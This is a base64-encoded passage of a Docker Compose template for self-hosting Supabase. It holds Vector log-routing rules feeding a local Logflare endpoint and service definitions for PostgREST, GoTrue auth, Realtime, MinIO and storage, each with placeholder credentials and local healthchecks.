biAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtICdHT1RSVUVfVVJJX0FMTE9XX0xJU1Q9JHtBRERJVElPTkFMX1JFRElSRUNUX1VSTFN9JwogICAgICAtICdHT1RSVUVfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgICAtIEdPVFJVRV9KV1RfQURNSU5fUk9MRVM9c2VydmljZV9yb2xlCiAgICAgIC0gR09UUlVFX0pXVF9BVUQ9YXV0aGVudGljYXRlZAogICAgICAtIEdPVFJVRV9KV1RfREVGQVVMVF9HUk9VUF9OQU1FPWF1dGhlbnRpY2F0ZWQKICAgICAgLSAnR09UUlVFX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgICAgLSAnR09UUlVFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9FTUFJTF9FTkFCTEVEPSR7RU5BQkxFX0VNQUlMX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9BTk9OWU1PVVNfVVNFUlNfRU5BQkxFRD0ke0VOQUJMRV9BTk9OWU1PVVNfVVNFUlM6LWZhbHNlfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9BVVRPQ09ORklSTT0ke0VOQUJMRV9FTUFJTF9BVVRPQ09ORklSTTotZmFsc2V9JwogICAgICAtICdHT1RSVUVfU01UUF9BRE1JTl9FTUFJTD0ke1NNVFBfQURNSU5fRU1BSUx9JwogICAgICAtICdHT1RSVUVfU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnR09UUlVFX1NNVFBfUE9SVD0ke1NNVFBfUE9SVDotNTg3fScKICAgICAgLSAnR09UUlVFX1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1BBU1M9JHtTTVRQX1BBU1N9JwogICAgICAtICdHT1RSVUVfU01UUF9TRU5ERVJfTkFNRT0ke1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0lOVklURT0ke01BSUxFUl9VUkxQQVRIU19JTlZJVEU6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1VSTFBBVEhTX0NPTkZJUk1BVElPTjotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWT0ke01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfVVJMUEFUSFNfRU1BSUxfQ0hBTkdFOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19JTlZJVEU9JHtNQUlMRVJfVEVNUExBVEVTX0lOVklURX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUlk9JHtNQUlMRVJfVEVNUExBVEVTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOSz0ke01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOS30nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT049JHtNQUlMRVJfU1VCSkVDVFNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWT0ke01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfU1VCSkVDVFNfTUFHSUNfTElOSz0ke01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfU1VCSkVDVFNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19JTlZJVEU9JHtNQUlMRVJfU1VCSkVDVFNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX1BIT05FX0VOQUJMRUQ9JHtFTkFCTEVfUEhPTkVfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX1NNU19BVVRPQ09ORklSTT0ke0VOQUJMRV9QSE9ORV9BVVRPQ09ORklSTTotdHJ1ZX0nCiAgcmVhbHRpbWUtZGV2OgogICAgaW1hZ2U6ICdzdXBhYmFzZS9yZWFsdGltZTp2Mi4zNC40NycKICAgIGNvbnRhaW5lcl9uYW1lOiByZWFsdGltZS1kZXYuc3VwYWJhc2UtcmVhbHRpbWUKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctLWhlYWQnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICctSCcKICAgICAgICAtICdBdXRob3JpemF0aW9uOiBCZWFyZXIgJHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvdGVuYW50cy9yZWFsdGltZS1kZXYvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gREJfVVNFUj1zdXBhYmFzZV9hZG1pbgogICAgICAtICdEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnREJfQUZURVJfQ09OTkVDVF9RVUVSWT1TRVQgc2VhcmNoX3BhdGggVE8gX3JlYWx0aW1lJwogICAgICAtIERCX0VOQ19LRVk9c3VwYWJhc2VyZWFsdGltZQogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBGTFlfQUxMT0NfSUQ9Zmx5MTIzCiAgICAgIC0gRkxZX0FQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFQ1JFVF9QQVNTV09SRF9SRUFMVElNRX0nCiAgICAgIC0gJ0VSTF9BRkxBR1M9LXByb3RvX2Rpc3QgaW5ldF90Y3AnCiAgICAgIC0gRU5BQkxFX1RBSUxTQ0FMRT1mYWxzZQogICAgICAtICJETlNfTk9ERVM9JyciCiAgICAgIC0gUkxJTUlUX05PRklMRT0xMDAwMAogICAgICAtIEFQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gU0VFRF9TRUxGX0hPU1Q9dHJ1ZQogICAgICAtIExPR19MRVZFTD1lcnJvcgogICAgICAtIFJVTl9KQU5JVE9SPXRydWUKICAgICAgLSBKQU5JVE9SX0lOVEVSVkFMPTYwMDAwCiAgICBjb21tYW5kOiAic2ggLWMgXCIvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3JlYWx0aW1lIGV2YWwgJ1JlYWx0aW1lLlJlbGVhc2Uuc2VlZHMoUmVhbHRpbWUuUmVwbyknICYmIC9hcHAvYmluL3NlcnZlclwiXG4iCiAgc3VwYWJhc2UtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDAxIiAvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi9kYXRhJwogIG1pbmlvLWNyZWF0ZWJ1Y2tldDoKICAgIGltYWdlOiBtaW5pby9tYwogICAgcmVzdGFydDogJ25vJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLW1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIC9lbnRyeXBvaW50LnNoCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9lbnRyeXBvaW50LnNoCiAgICAgICAgdGFyZ2V0OiAvZW50cnlwb2ludC5zaAogICAgICAgIGNvbnRlbnQ6ICIjIS9iaW4vc2hcbi91c3IvYmluL21jIGFsaWFzIHNldCBzdXBhYmFzZS1taW5pbyBodHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCAke01JTklPX1JPT1RfVVNFUn0gJHtNSU5JT19ST09UX1BBU1NXT1JEfTtcbi91c3IvYmluL21jIG1iIC0taWdub3JlLWV4aXN0aW5nIHN1cGFiYXNlLW1pbmlvL3N0dWI7XG5leGl0IDBcbiIKICBzdXBhYmFzZS1zdG9yYWdlOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdG9yYWdlLWFwaTp2MS4xNC42JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtcmVzdDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgICBpbWdwcm94eToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMC9zdGF0dXMnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWRVJfUE9SVD01MDAwCiAgICAgIC0gU0VSVkVSX1JFR0lPTj1sb2NhbAogICAgICAtIE1VTFRJX1RFTkFOVD1mYWxzZQogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX3N0b3JhZ2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gREJfSU5TVEFMTF9ST0xFUz1mYWxzZQogICAgICAtIFNUT1JBR0VfQkFDS0VORD1zMwogICAgICAtIFNUT1JBR0VfUzNfQlVDS0VUPXN0dWIKICAgICAgLSAnU1RPUkFHRV9TM19FTkRQT0lOVD1odHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCcKICAgICAgLSBTVE9SQUdFX1MzX0ZPUkNFX1BBVEhfU1RZTEU9dHJ1ZQogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPXVzLWVhc3QtMQogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtIFVQTE9BRF9GSUxFX1NJWkVfTElNSVQ9NTI0Mjg4MDAwCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVF9TVEFOREFSRD01MjQyODgwMDAKICAgICAgLSBVUExPQURfU0lHTkVEX1VSTF9FWFBJUkFUSU9OX1RJTUU9MTIwCiAgICAgIC0gVFVTX1VSTF9QQVRIPXVwbG9hZC9yZXN1bWFibGUKICAgICAgLSBUVVNfTUFYX1NJWkU9MzYwMDAwMAogICAgICAtIEVOQUJMRV9JTUFHRV9UUkFOU0ZPUk1BVElPTj10cnVlCiAgICAgIC0gJ0lNR1BST1hZX1VSTD1odHRwOi8vaW1ncHJveHk6ODA4MCcKICAgICAgLSBJTUdQUk9YWV9SRVFVRVNUX1RJTUVPVVQ9MTUKICAgICAgLSBEQVRBQkFTRV9TRUFSQ0hfUEFUSD1zdG9yYWdlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFJFUVVFU1RfQUxMT1dfWF9GT1JXQVJERURfUEFUSD10cnVlCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIGltZ3Byb3h5OgogICAgaW1hZ2U6ICdkYXJ0aHNpbS9pbWdwcm94eTp2My44LjAnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaW1ncHJveHkKICAgICAgICAtIGhlYWx0aAogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSU1HUFJPWFlfTE9DQUxfRklMRVNZU1RFTV9ST09UPS8KICAgICAgLSBJTUdQUk9YWV9VU0VfRVRBRz10cnVlCiAgICAgIC0gJ0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTj0ke0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTjotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIHN1cGFiYXNlLW1ldGE6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3Bvc3RncmVzLW1ldGE6djAuODkuMycKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cG